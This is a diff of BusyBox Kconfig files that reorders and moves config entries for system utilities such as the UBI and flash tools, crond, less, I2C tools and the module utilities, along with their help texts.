-	bool "ubiattach"
-	default BUSYBOX_DEFAULT_UBIATTACH
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  Attach MTD device to an UBI device.
-
-config BUSYBOX_CONFIG_UBIDETACH
-	bool "ubidetach"
-	default BUSYBOX_DEFAULT_UBIDETACH
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  Detach MTD device from an UBI device.
-
-config BUSYBOX_CONFIG_UBIMKVOL
-	bool "ubimkvol"
-	default BUSYBOX_DEFAULT_UBIMKVOL
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  Create a UBI volume.
-
-config BUSYBOX_CONFIG_UBIRMVOL
-	bool "ubirmvol"
-	default BUSYBOX_DEFAULT_UBIRMVOL
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  Delete a UBI volume.
-
-config BUSYBOX_CONFIG_UBIRSVOL
-	bool "ubirsvol"
-	default BUSYBOX_DEFAULT_UBIRSVOL
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  Resize a UBI volume.
-
-config BUSYBOX_CONFIG_UBIUPDATEVOL
-	bool "ubiupdatevol"
-	default BUSYBOX_DEFAULT_UBIUPDATEVOL
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  Update a UBI volume.
-config BUSYBOX_CONFIG_UBIRENAME
-	bool "ubirename"
-	default BUSYBOX_DEFAULT_UBIRENAME
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  Utility to rename UBI volumes
-config BUSYBOX_CONFIG_WALL
-	bool "wall"
-	default BUSYBOX_DEFAULT_WALL
-	depends on BUSYBOX_CONFIG_FEATURE_UTMP
-	help
-	  Write a message to all users that are logged in.
-
 config BUSYBOX_CONFIG_ADJTIMEX
 	bool "adjtimex"
 	default BUSYBOX_DEFAULT_ADJTIMEX
@@ -266,7 +13,6 @@ config BUSYBOX_CONFIG_ADJTIMEX
 	help
 	  Adjtimex reads and optionally sets adjustment parameters for
 	  the Linux clock adjustment algorithm.
-
 config BUSYBOX_CONFIG_BBCONFIG
 	bool "bbconfig"
 	default BUSYBOX_DEFAULT_BBCONFIG
@@ -287,7 +33,6 @@ config BUSYBOX_CONFIG_FEATURE_COMPRESS_BBCONFIG
 	  be noticeable. Also, if you run executables directly from ROM
 	  and have very little memory, this might not be a win. Otherwise,
 	  you probably want this.
-
 config BUSYBOX_CONFIG_BEEP
 	bool "beep"
 	default BUSYBOX_DEFAULT_BEEP
@@ -310,7 +55,6 @@ config BUSYBOX_CONFIG_FEATURE_BEEP_LENGTH_MS
 	depends on BUSYBOX_CONFIG_BEEP
 	help
 	  Length in ms for default beep.
-
 config BUSYBOX_CONFIG_CHAT
 	bool "chat"
 	default BUSYBOX_DEFAULT_CHAT
@@ -377,14 +121,54 @@ config BUSYBOX_CONFIG_FEATURE_CHAT_CLR_ABORT
 	default BUSYBOX_DEFAULT_FEATURE_CHAT_CLR_ABORT
 	help
 	  Support CLR_ABORT directive.
-
 config BUSYBOX_CONFIG_CHRT
 	bool "chrt"
 	default BUSYBOX_DEFAULT_CHRT
 	help
 	  manipulate real-time attributes of a process.
 	  This requires sched_{g,s}etparam support in your libc.
+config BUSYBOX_CONFIG_CONSPY
+	bool "conspy"
+	default BUSYBOX_DEFAULT_CONSPY
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  A text-mode VNC like program for Linux virtual terminals.
+	  example:  conspy NUM      shared access to console num
+	  or        conspy -nd NUM  screenshot of console num
+	  or        conspy -cs NUM  poor man's GNU screen like
+config BUSYBOX_CONFIG_CROND
+	bool "crond"
+	default BUSYBOX_DEFAULT_CROND
+	select BUSYBOX_CONFIG_FEATURE_SYSLOG
+	help
+	  Crond is a background daemon that parses individual crontab
+	  files and executes commands on behalf of the users in question.
+	  This is a port of dcron from slackware. It uses files of the
+	  format /var/spool/cron/crontabs/<username> files, for example:
+	      $ cat /var/spool/cron/crontabs/root
+	      # Run daily cron jobs at 4:40 every day:
+	      40 4 * * * /etc/cron/daily > /dev/null 2>&1
 
+config BUSYBOX_CONFIG_FEATURE_CROND_D
+	bool "Support option -d to redirect output to stderr"
+	depends on BUSYBOX_CONFIG_CROND
+	default BUSYBOX_DEFAULT_FEATURE_CROND_D
+	help
+	  -d N sets loglevel (0:most verbose) and directs all output to stderr.
+
+config BUSYBOX_CONFIG_FEATURE_CROND_CALL_SENDMAIL
+	bool "Report command output via email (using sendmail)"
+	default BUSYBOX_DEFAULT_FEATURE_CROND_CALL_SENDMAIL
+	depends on BUSYBOX_CONFIG_CROND
+	help
+	  Command output will be sent to corresponding user via email.
+
+config BUSYBOX_CONFIG_FEATURE_CROND_DIR
+	string "crond spool directory"
+	default BUSYBOX_DEFAULT_FEATURE_CROND_DIR
+	depends on BUSYBOX_CONFIG_CROND || BUSYBOX_CONFIG_CRONTAB
+	help
+	  Location of crond spool.
 config BUSYBOX_CONFIG_CRONTAB
 	bool "crontab"
 	default BUSYBOX_DEFAULT_CRONTAB
@@ -393,7 +177,6 @@ config BUSYBOX_CONFIG_CRONTAB
 	  the superuser may specify a different user and/or crontab directory.
 	  Note that Busybox binary must be setuid root for this applet to
 	  work properly.
-
 config BUSYBOX_CONFIG_DC
 	bool "dc"
 	default BUSYBOX_DEFAULT_DC
@@ -408,7 +191,6 @@ config BUSYBOX_CONFIG_FEATURE_DC_LIBM
 	help
 	  Enable power and exp functions.
 	  NOTE: This will require libm to be present for linking.
-
 config BUSYBOX_CONFIG_DEVFSD
 	bool "devfsd (obsolete)"
 	default BUSYBOX_DEFAULT_DEVFSD
@@ -465,14 +247,12 @@ config BUSYBOX_CONFIG_FEATURE_DEVFS
 	  tells busybox to look for names like /dev/loop/0 instead of
 	  /dev/loop0. If your /dev directory has normal names instead of
 	  devfs names, you don't want this.
-
 config BUSYBOX_CONFIG_DEVMEM
 	bool "devmem"
 	default BUSYBOX_DEFAULT_DEVMEM
 	help
 	  devmem is a small program that reads and writes from physical
 	  memory using /dev/mem.
-
 config BUSYBOX_CONFIG_EJECT
 	bool "eject"
 	default BUSYBOX_DEFAULT_EJECT
@@ -487,7 +267,6 @@ config BUSYBOX_CONFIG_FEATURE_EJECT_SCSI
 	help
 	  Add the -s option to eject, this allows to eject SCSI-Devices and
 	  usb-storage devices.
-
 config BUSYBOX_CONFIG_FBSPLASH
 	bool "fbsplash"
 	default BUSYBOX_DEFAULT_FBSPLASH
@@ -509,65 +288,31 @@ config BUSYBOX_CONFIG_FBSPLASH
 	  - commands for fifo:
 	    "NN" (ASCII decimal number) - percentage to show on progress bar
 	    "exit" - well you guessed it
-
-config BUSYBOX_CONFIG_FLASHCP
-	bool "flashcp"
-	default BUSYBOX_DEFAULT_FLASHCP  # doesn't build on Ubuntu 8.04
-	help
-	  The flashcp binary, inspired by mtd-utils as of git head 5eceb74f7.
-	  This utility is used to copy images into a MTD device.
-
-config BUSYBOX_CONFIG_FLASH_LOCK
-	bool "flash_lock"
-	default BUSYBOX_DEFAULT_FLASH_LOCK  # doesn't build on Ubuntu 8.04
-	help
-	  The flash_lock binary from mtd-utils as of git head 5ec0c10d0. This
-	  utility locks part or all of the flash device.
-
-config BUSYBOX_CONFIG_FLASH_UNLOCK
-	bool "flash_unlock"
-	default BUSYBOX_DEFAULT_FLASH_UNLOCK  # doesn't build on Ubuntu 8.04
-	help
-	  The flash_unlock binary from mtd-utils as of git head 5ec0c10d0. This
-	  utility unlocks part or all of the flash device.
-
 config BUSYBOX_CONFIG_FLASH_ERASEALL
 	bool "flash_eraseall"
 	default BUSYBOX_DEFAULT_FLASH_ERASEALL  # doesn't build on Ubuntu 8.04
 	help
 	  The flash_eraseall binary from mtd-utils as of git head c4c6a59eb.
 	  This utility is used to erase the whole MTD device.
-
-config BUSYBOX_CONFIG_IONICE
-	bool "ionice"
-	default BUSYBOX_DEFAULT_IONICE
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  Set/set program io scheduling class and priority
-	  Requires kernel >= 2.6.13
-
-config BUSYBOX_CONFIG_INOTIFYD
-	bool "inotifyd"
-	default BUSYBOX_DEFAULT_INOTIFYD  # doesn't build on Knoppix 5
-	help
-	  Simple inotify daemon. Reports filesystem changes. Requires
-	  kernel >= 2.6.13
-
-config BUSYBOX_CONFIG_LAST
-	bool "last"
-	default BUSYBOX_DEFAULT_LAST
-	depends on BUSYBOX_CONFIG_FEATURE_WTMP
-	help
-	  'last' displays a list of the last users that logged into the system.
-
-config BUSYBOX_CONFIG_FEATURE_LAST_FANCY
-	bool "Turn on output of extra information"
-	default BUSYBOX_DEFAULT_FEATURE_LAST_FANCY
-	depends on BUSYBOX_CONFIG_LAST
+config BUSYBOX_CONFIG_FLASH_LOCK
+	bool "flash_lock"
+	default BUSYBOX_DEFAULT_FLASH_LOCK  # doesn't build on Ubuntu 8.04
 	help
-	  'last' displays detailed information about the last users that
-	  logged into the system (mimics sysvinit last). +900 bytes.
+	  The flash_lock binary from mtd-utils as of git head 5ec0c10d0. This
+	  utility locks part or all of the flash device.
 
+config BUSYBOX_CONFIG_FLASH_UNLOCK
+	bool "flash_unlock"
+	default BUSYBOX_DEFAULT_FLASH_UNLOCK  # doesn't build on Ubuntu 8.04
+	help
+	  The flash_unlock binary from mtd-utils as of git head 5ec0c10d0. This
+	  utility unlocks part or all of the flash device.
+config BUSYBOX_CONFIG_FLASHCP
+	bool "flashcp"
+	default BUSYBOX_DEFAULT_FLASHCP  # doesn't build on Ubuntu 8.04
+	help
+	  The flashcp binary, inspired by mtd-utils as of git head 5eceb74f7.
+	  This utility is used to copy images into a MTD device.
 config BUSYBOX_CONFIG_HDPARM
 	bool "hdparm"
 	default BUSYBOX_DEFAULT_HDPARM
@@ -626,13 +371,149 @@ config BUSYBOX_CONFIG_FEATURE_HDPARM_HDIO_GETSET_DMA
 	depends on BUSYBOX_CONFIG_HDPARM
 	help
 	  Enables the 'hdparm -d' option to get/set using_dma flag.
+config BUSYBOX_CONFIG_I2CGET
+	bool "i2cget"
+	default BUSYBOX_DEFAULT_I2CGET
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Read from I2C/SMBus chip registers.
+
+config BUSYBOX_CONFIG_I2CSET
+	bool "i2cset"
+	default BUSYBOX_DEFAULT_I2CSET
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Set I2C registers.
+
+config BUSYBOX_CONFIG_I2CDUMP
+	bool "i2cdump"
+	default BUSYBOX_DEFAULT_I2CDUMP
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Examine I2C registers.
+
+config BUSYBOX_CONFIG_I2CDETECT
+	bool "i2cdetect"
+	default BUSYBOX_DEFAULT_I2CDETECT
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Detect I2C chips.
+
+config BUSYBOX_CONFIG_INOTIFYD
+	bool "inotifyd"
+	default BUSYBOX_DEFAULT_INOTIFYD  # doesn't build on Knoppix 5
+	help
+	  Simple inotify daemon. Reports filesystem changes. Requires
+	  kernel >= 2.6.13
+config BUSYBOX_CONFIG_IONICE
+	bool "ionice"
+	default BUSYBOX_DEFAULT_IONICE
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Set/set program io scheduling class and priority
+	  Requires kernel >= 2.6.13
+config BUSYBOX_CONFIG_LAST
+	bool "last"
+	default BUSYBOX_DEFAULT_LAST
+	depends on BUSYBOX_CONFIG_FEATURE_WTMP
+	help
+	  'last' displays a list of the last users that logged into the system.
+
+config BUSYBOX_CONFIG_FEATURE_LAST_FANCY
+	bool "Turn on output of extra information"
+	default BUSYBOX_DEFAULT_FEATURE_LAST_FANCY
+	depends on BUSYBOX_CONFIG_LAST
+	help
+	  'last' displays detailed information about the last users that
+	  logged into the system (mimics sysvinit last). +900 bytes.
+config BUSYBOX_CONFIG_LESS
+	bool "less"
+	default BUSYBOX_DEFAULT_LESS
+	help
+	  'less' is a pager, meaning that it displays text files. It possesses
+	  a wide array of features, and is an improvement over 'more'.
+
+config BUSYBOX_CONFIG_FEATURE_LESS_MAXLINES
+	int "Max number of input lines less will try to eat"
+	default BUSYBOX_DEFAULT_FEATURE_LESS_MAXLINES
+	depends on BUSYBOX_CONFIG_LESS
+
+config BUSYBOX_CONFIG_FEATURE_LESS_BRACKETS
+	bool "Enable bracket searching"
+	default BUSYBOX_DEFAULT_FEATURE_LESS_BRACKETS
+	depends on BUSYBOX_CONFIG_LESS
+	help
+	  This option adds the capability to search for matching left and right
+	  brackets, facilitating programming.
+
+config BUSYBOX_CONFIG_FEATURE_LESS_FLAGS
+	bool "Enable -m/-M"
+	default BUSYBOX_DEFAULT_FEATURE_LESS_FLAGS
+	depends on BUSYBOX_CONFIG_LESS
+	help
+	  The -M/-m flag enables a more sophisticated status line.
+
+config BUSYBOX_CONFIG_FEATURE_LESS_TRUNCATE
+	bool "Enable -S"
+	default BUSYBOX_DEFAULT_FEATURE_LESS_TRUNCATE
+	depends on BUSYBOX_CONFIG_LESS
+	help
+	  The -S flag causes long lines to be truncated rather than
+	  wrapped.
+
+config BUSYBOX_CONFIG_FEATURE_LESS_MARKS
+	bool "Enable marks"
+	default BUSYBOX_DEFAULT_FEATURE_LESS_MARKS
+	depends on BUSYBOX_CONFIG_LESS
+	help
+	  Marks enable positions in a file to be stored for easy reference.
+
+config BUSYBOX_CONFIG_FEATURE_LESS_REGEXP
+	bool "Enable regular expressions"
+	default BUSYBOX_DEFAULT_FEATURE_LESS_REGEXP
+	depends on BUSYBOX_CONFIG_LESS
+	help
+	  Enable regular expressions, allowing complex file searches.
+
+config BUSYBOX_CONFIG_FEATURE_LESS_WINCH
+	bool "Enable automatic resizing on window size changes"
+	default BUSYBOX_DEFAULT_FEATURE_LESS_WINCH
+	depends on BUSYBOX_CONFIG_LESS
+	help
+	  Makes less track window size changes.
+
+config BUSYBOX_CONFIG_FEATURE_LESS_ASK_TERMINAL
+	bool "Use 'tell me cursor position' ESC sequence to measure window"
+	default BUSYBOX_DEFAULT_FEATURE_LESS_ASK_TERMINAL
+	depends on BUSYBOX_CONFIG_FEATURE_LESS_WINCH
+	help
+	  Makes less track window size changes.
+	  If terminal size can't be retrieved and $LINES/$COLUMNS are not set,
+	  this option makes less perform a last-ditch effort to find it:
+	  position cursor to 999,999 and ask terminal to report real
+	  cursor position using "ESC [ 6 n" escape sequence, then read stdin.
+
+	  This is not clean but helps a lot on serial lines and such.
+
+config BUSYBOX_CONFIG_FEATURE_LESS_DASHCMD
+	bool "Enable flag changes ('-' command)"
+	default BUSYBOX_DEFAULT_FEATURE_LESS_DASHCMD
+	depends on BUSYBOX_CONFIG_LESS
+	help
+	  This enables the ability to change command-line flags within
+	  less itself ('-' keyboard command).
 
+config BUSYBOX_CONFIG_FEATURE_LESS_LINENUMS
+	bool "Enable dynamic switching of line numbers"
+	default BUSYBOX_DEFAULT_FEATURE_LESS_LINENUMS
+	depends on BUSYBOX_CONFIG_FEATURE_LESS_DASHCMD
+	help
+	  Enables "-N" command.
 config BUSYBOX_CONFIG_LOCK
 	bool "lock"
 	default BUSYBOX_DEFAULT_LOCK
 	help
 	  Small utility for using locks in scripts
-
 config BUSYBOX_CONFIG_MAKEDEVS
 	bool "makedevs"
 	default BUSYBOX_DEFAULT_MAKEDEVS
@@ -664,25 +545,21 @@ config BUSYBOX_CONFIG_FEATURE_MAKEDEVS_TABLE
 	bool "table"
 
 endchoice
-
 config BUSYBOX_CONFIG_MAN
 	bool "man"
 	default BUSYBOX_DEFAULT_MAN
 	help
 	  Format and display manual pages.
-
 config BUSYBOX_CONFIG_MICROCOM
 	bool "microcom"
 	default BUSYBOX_DEFAULT_MICROCOM
 	help
 	  The poor man's minicom utility for chatting with serial port devices.
-
 config BUSYBOX_CONFIG_MOUNTPOINT
 	bool "mountpoint"
 	default BUSYBOX_DEFAULT_MOUNTPOINT
 	help
 	  mountpoint checks if the directory is a mountpoint.
-
 config BUSYBOX_CONFIG_MT
 	bool "mt"
 	default BUSYBOX_DEFAULT_MT
@@ -690,7 +567,19 @@ config BUSYBOX_CONFIG_MT
 	  mt is used to control tape devices. You can use the mt utility
 	  to advance or rewind a tape past a specified number of archive
 	  files on the tape.
+config BUSYBOX_CONFIG_NANDWRITE
+	bool "nandwrite"
+	default BUSYBOX_DEFAULT_NANDWRITE
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Write to the specified MTD device, with bad blocks awareness
 
+config BUSYBOX_CONFIG_NANDDUMP
+	bool "nanddump"
+	default BUSYBOX_DEFAULT_NANDDUMP
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Dump the content of raw NAND chip
 config BUSYBOX_CONFIG_RAIDAUTORUN
 	bool "raidautorun"
 	default BUSYBOX_DEFAULT_RAIDAUTORUN
@@ -698,7 +587,6 @@ config BUSYBOX_CONFIG_RAIDAUTORUN
 	help
 	  raidautorun tells the kernel md driver to
 	  search and start RAID arrays.
-
 config BUSYBOX_CONFIG_READAHEAD
 	bool "readahead"
 	default BUSYBOX_DEFAULT_READAHEAD
@@ -716,6 +604,17 @@ config BUSYBOX_CONFIG_READAHEAD
 
 	  As readahead(2) blocks until each file has been read, it is best to
 	  run this applet as a background job.
+config BUSYBOX_CONFIG_RFKILL
+	bool "rfkill"
+	default BUSYBOX_DEFAULT_RFKILL # doesn't build on Ubuntu 9.04
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Enable/disable wireless devices.
+
+	  rfkill list : list all wireless devices
+	  rfkill list bluetooth : list all bluetooth devices
+	  rfkill list 1 : list device corresponding to the given index
+	  rfkill block|unblock wlan : block/unblock all wlan(wifi) devices
 
 config BUSYBOX_CONFIG_RUNLEVEL
 	bool "runlevel"
@@ -726,27 +625,44 @@ config BUSYBOX_CONFIG_RUNLEVEL
 
 	  This applet uses utmp but does not rely on busybox supporing
 	  utmp on purpose. It is used by e.g. emdebian via /etc/init.d/rc.
-
 config BUSYBOX_CONFIG_RX
 	bool "rx"
 	default BUSYBOX_DEFAULT_RX
 	select BUSYBOX_CONFIG_PLATFORM_LINUX
 	help
 	  Receive files using the Xmodem protocol.
-
+config BUSYBOX_CONFIG_SETSERIAL
+	bool "setserial"
+	default BUSYBOX_DEFAULT_SETSERIAL
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Retrieve or set Linux serial port.
 config BUSYBOX_CONFIG_SETSID
 	bool "setsid"
 	default BUSYBOX_DEFAULT_SETSID
 	help
 	  setsid runs a program in a new session
-
 config BUSYBOX_CONFIG_STRINGS
 	bool "strings"
 	default BUSYBOX_DEFAULT_STRINGS
 	help
 	  strings prints the printable character sequences for each file
 	  specified.
+config BUSYBOX_CONFIG_TASKSET
+	bool "taskset"
+	default BUSYBOX_DEFAULT_TASKSET  # doesn't build on some non-x86 targets (m68k)
+	help
+	  Retrieve or set a processes's CPU affinity.
+	  This requires sched_{g,s}etaffinity support in your libc.
 
+config BUSYBOX_CONFIG_FEATURE_TASKSET_FANCY
+	bool "Fancy output"
+	default BUSYBOX_DEFAULT_FEATURE_TASKSET_FANCY
+	depends on BUSYBOX_CONFIG_TASKSET
+	help
+	  Add code for fancy output. This merely silences a compiler-warning
+	  and adds about 135 Bytes. May be needed for machines with alot
+	  of CPUs.
 config BUSYBOX_CONFIG_TIME
 	bool "time"
 	default BUSYBOX_DEFAULT_TIME
@@ -754,14 +670,12 @@ config BUSYBOX_CONFIG_TIME
 	  The time command runs the specified program with the given arguments.
 	  When the command finishes, time writes a message to standard output
 	  giving timing statistics about this program run.
-
 config BUSYBOX_CONFIG_TIMEOUT
 	bool "timeout"
 	default BUSYBOX_DEFAULT_TIMEOUT
 	help
 	  Runs a program and watches it. If it does not terminate in
 	  specified number of seconds, it is sent a signal.
-
 config BUSYBOX_CONFIG_TTYSIZE
 	bool "ttysize"
 	default BUSYBOX_DEFAULT_TTYSIZE
@@ -770,13 +684,64 @@ config BUSYBOX_CONFIG_TTYSIZE
 	  only height, or both, in any order. It also does not complain on
 	  error, but returns default 80x24.
 	  Usage in shell scripts: width=`ttysize w`.
+config BUSYBOX_CONFIG_UBIATTACH
+	bool "ubiattach"
+	default BUSYBOX_DEFAULT_UBIATTACH
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Attach MTD device to an UBI device.
+
+config BUSYBOX_CONFIG_UBIDETACH
+	bool "ubidetach"
+	default BUSYBOX_DEFAULT_UBIDETACH
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Detach MTD device from an UBI device.
+
+config BUSYBOX_CONFIG_UBIMKVOL
+	bool "ubimkvol"
+	default BUSYBOX_DEFAULT_UBIMKVOL
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Create a UBI volume.
+
+config BUSYBOX_CONFIG_UBIRMVOL
+	bool "ubirmvol"
+	default BUSYBOX_DEFAULT_UBIRMVOL
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Delete a UBI volume.
+
+config BUSYBOX_CONFIG_UBIRSVOL
+	bool "ubirsvol"
+	default BUSYBOX_DEFAULT_UBIRSVOL
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Resize a UBI volume.
 
+config BUSYBOX_CONFIG_UBIUPDATEVOL
+	bool "ubiupdatevol"
+	default BUSYBOX_DEFAULT_UBIUPDATEVOL
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Update a UBI volume.
+config BUSYBOX_CONFIG_UBIRENAME
+	bool "ubirename"
+	default BUSYBOX_DEFAULT_UBIRENAME
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Utility to rename UBI volumes
 config BUSYBOX_CONFIG_VOLNAME
 	bool "volname"
 	default BUSYBOX_DEFAULT_VOLNAME
 	help
 	  Prints a CD-ROM volume name.
-
+config BUSYBOX_CONFIG_WALL
+	bool "wall"
+	default BUSYBOX_DEFAULT_WALL
+	depends on BUSYBOX_CONFIG_FEATURE_UTMP
+	help
+	  Write a message to all users that are logged in.
 config BUSYBOX_CONFIG_WATCHDOG
 	bool "watchdog"
 	default BUSYBOX_DEFAULT_WATCHDOG
diff --git a/package/utils/busybox/config/modutils/Config.in b/package/utils/busybox/config/modutils/Config.in
index 8e0e2af..5203db8 100644
--- a/package/utils/busybox/config/modutils/Config.in
+++ b/package/utils/busybox/config/modutils/Config.in
@@ -6,13 +6,6 @@
 
 menu "Linux Module Utilities"
 
-config BUSYBOX_CONFIG_MODINFO
-	bool "modinfo"
-	default BUSYBOX_DEFAULT_MODINFO
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  Show information about a Linux Kernel module
-
 config BUSYBOX_CONFIG_MODPROBE_SMALL
 	bool "Simplified modutils"
 	default BUSYBOX_DEFAULT_MODPROBE_SMALL
@@ -44,41 +37,23 @@ config BUSYBOX_CONFIG_MODPROBE_SMALL
 	  - rmmod is an alias to modprobe -r
 	  - depmod generates modules.dep.bb
 
-config BUSYBOX_CONFIG_FEATURE_MODPROBE_SMALL_OPTIONS_ON_CMDLINE
-	bool "Accept module options on modprobe command line"
-	default BUSYBOX_DEFAULT_FEATURE_MODPROBE_SMALL_OPTIONS_ON_CMDLINE
-	depends on BUSYBOX_CONFIG_MODPROBE_SMALL
+config BUSYBOX_CONFIG_DEPMOD
+	bool "depmod"
+	default BUSYBOX_DEFAULT_DEPMOD
 	select BUSYBOX_CONFIG_PLATFORM_LINUX
 	help
-	  Allow insmod and modprobe take module options from command line.
-
-config BUSYBOX_CONFIG_FEATURE_MODPROBE_SMALL_CHECK_ALREADY_LOADED
-	bool "Skip loading of already loaded modules"
-	default BUSYBOX_DEFAULT_FEATURE_MODPROBE_SMALL_CHECK_ALREADY_LOADED
-	depends on BUSYBOX_CONFIG_MODPROBE_SMALL
-	help
-	  Check if the module is already loaded.
-
+	  depmod generates modules.dep (and potentially modules.alias
+	  and modules.symbols) that contain dependency information
+	  for modprobe.
 config BUSYBOX_CONFIG_INSMOD
 	bool "insmod"
 	default BUSYBOX_DEFAULT_INSMOD
-	depends on !BUSYBOX_CONFIG_MODPROBE_SMALL
 	select BUSYBOX_CONFIG_PLATFORM_LINUX
 	help
 	  insmod is used to load specified modules in the running kernel.
-
-config BUSYBOX_CONFIG_RMMOD
-	bool "rmmod"
-	default BUSYBOX_DEFAULT_RMMOD
-	depends on !BUSYBOX_CONFIG_MODPROBE_SMALL
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  rmmod is used to unload specified modules from the kernel.
-
 config BUSYBOX_CONFIG_LSMOD
 	bool "lsmod"
 	default BUSYBOX_DEFAULT_LSMOD
-	depends on !BUSYBOX_CONFIG_MODPROBE_SMALL
 	select BUSYBOX_CONFIG_PLATFORM_LINUX
 	help
 	  lsmod is used to display a list of loaded modules.
@@ -86,17 +61,35 @@ config BUSYBOX_CONFIG_LSMOD
 config BUSYBOX_CONFIG_FEATURE_LSMOD_PRETTY_2_6_OUTPUT
 	bool "Pretty output"
 	default BUSYBOX_DEFAULT_FEATURE_LSMOD_PRETTY_2_6_OUTPUT
-	depends on BUSYBOX_CONFIG_LSMOD
+	depends on BUSYBOX_CONFIG_LSMOD && !BUSYBOX_CONFIG_MODPROBE_SMALL
 	select BUSYBOX_CONFIG_PLATFORM_LINUX
 	help
 	  This option makes output format of lsmod adjusted to
 	  the format of module-init-tools for Linux kernel 2.6.
 	  Increases size somewhat.
+config BUSYBOX_CONFIG_MODINFO
+	bool "modinfo"
+	default BUSYBOX_DEFAULT_MODINFO
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Show information about a Linux Kernel module
+config BUSYBOX_CONFIG_FEATURE_MODPROBE_SMALL_OPTIONS_ON_CMDLINE
+	bool "Accept module options on modprobe command line"
+	default BUSYBOX_DEFAULT_FEATURE_MODPROBE_SMALL_OPTIONS_ON_CMDLINE
+	depends on BUSYBOX_CONFIG_MODPROBE_SMALL
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Allow insmod and modprobe take module options from command line.
 
+config BUSYBOX_CONFIG_FEATURE_MODPROBE_SMALL_CHECK_ALREADY_LOADED
+	bool "Skip loading of already loaded modules"
+	default BUSYBOX_DEFAULT_FEATURE_MODPROBE_SMALL_CHECK_ALREADY_LOADED
+	depends on BUSYBOX_CONFIG_MODPROBE_SMALL
+	help
+	  Check if the module is already loaded.
 config BUSYBOX_CONFIG_MODPROBE
 	bool "modprobe"
 	default BUSYBOX_DEFAULT_MODPROBE
-	depends on !BUSYBOX_CONFIG_MODPROBE_SMALL
 	select BUSYBOX_CONFIG_PLATFORM_LINUX
 	help
 	  Handle the loading of modules, and their dependencies on a high
@@ -105,7 +98,7 @@ config BUSYBOX_CONFIG_MODPROBE
 config BUSYBOX_CONFIG_FEATURE_MODPROBE_BLACKLIST
 	bool "Blacklist support"
 	default BUSYBOX_DEFAULT_FEATURE_MODPROBE_BLACKLIST
-	depends on BUSYBOX_CONFIG_MODPROBE
+	depends on BUSYBOX_CONFIG_MODPROBE && !BUSYBOX_CONFIG_MODPROBE_SMALL
 	select BUSYBOX_CONFIG_PLATFORM_LINUX
 	help
 	  Say 'y' here to enable support for the 'blacklist' command in
@@ -113,16 +106,12 @@ config BUSYBOX_CONFIG_FEATURE_MODPROBE_BLACKLIST
 	  blacklisted modules. This is useful if you want to prevent your
 	  hardware autodetection scripts to load modules like evdev, frame
 	  buffer drivers etc.
-
-config BUSYBOX_CONFIG_DEPMOD
-	bool "depmod"
-	default BUSYBOX_DEFAULT_DEPMOD
-	depends on !BUSYBOX_CONFIG_MODPROBE_SMALL
+config BUSYBOX_CONFIG_RMMOD
+	bool "rmmod"
+	default BUSYBOX_DEFAULT_RMMOD
 	select BUSYBOX_CONFIG_PLATFORM_LINUX
 	help
-	  depmod generates modules.dep (and potentially modules.alias
-	  and modules.symbols) that contain dependency information
-	  for modprobe.
+	  rmmod is used to unload specified modules from the kernel.
 
 comment "Options common to multiple modutils"
 
diff --git a/package/utils/busybox/config/networking/Config.in b/package/utils/busybox/config/networking/Config.in
index 407ddd3..bc2f127 100644
--- a/package/utils/busybox/config/networking/Config.in
+++ b/package/utils/busybox/config/networking/Config.in
@@ -6,183 +6,6 @@
 
 menu "Networking Utilities"
 
-config BUSYBOX_CONFIG_NAMEIF
-	bool "nameif"
-	default BUSYBOX_DEFAULT_NAMEIF
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	select BUSYBOX_CONFIG_FEATURE_SYSLOG
-	help
-	  nameif is used to rename network interface by its MAC address.
-	  Renamed interfaces MUST be in the down state.
-	  It is possible to use a file (default: /etc/mactab)
-	  with list of new interface names and MACs.
-	  Maximum interface name length: IFNAMSIZ = 16
-	  File fields are separated by space or tab.
-	  File format:
-	  # Comment
-	  new_interface_name    XX:XX:XX:XX:XX:XX
-
-config BUSYBOX_CONFIG_FEATURE_NAMEIF_EXTENDED
-	bool "Extended nameif"
-	default BUSYBOX_DEFAULT_FEATURE_NAMEIF_EXTENDED
-	depends on BUSYBOX_CONFIG_NAMEIF
-	help
-	  This extends the nameif syntax to support the bus_info, driver,
-	  phyaddr selectors. The syntax is compatible to the normal nameif.
-	  File format:
-	    new_interface_name  driver=asix bus=usb-0000:00:08.2-3
-	    new_interface_name  bus=usb-0000:00:08.2-3 00:80:C8:38:91:B5
-	    new_interface_name  phy_address=2 00:80:C8:38:91:B5
-	    new_interface_name  mac=00:80:C8:38:91:B5
-	    new_interface_name  00:80:C8:38:91:B5
-config BUSYBOX_CONFIG_NBDCLIENT
-	bool "nbd-client"
-	default BUSYBOX_DEFAULT_NBDCLIENT
-	help
-	  Network block device client
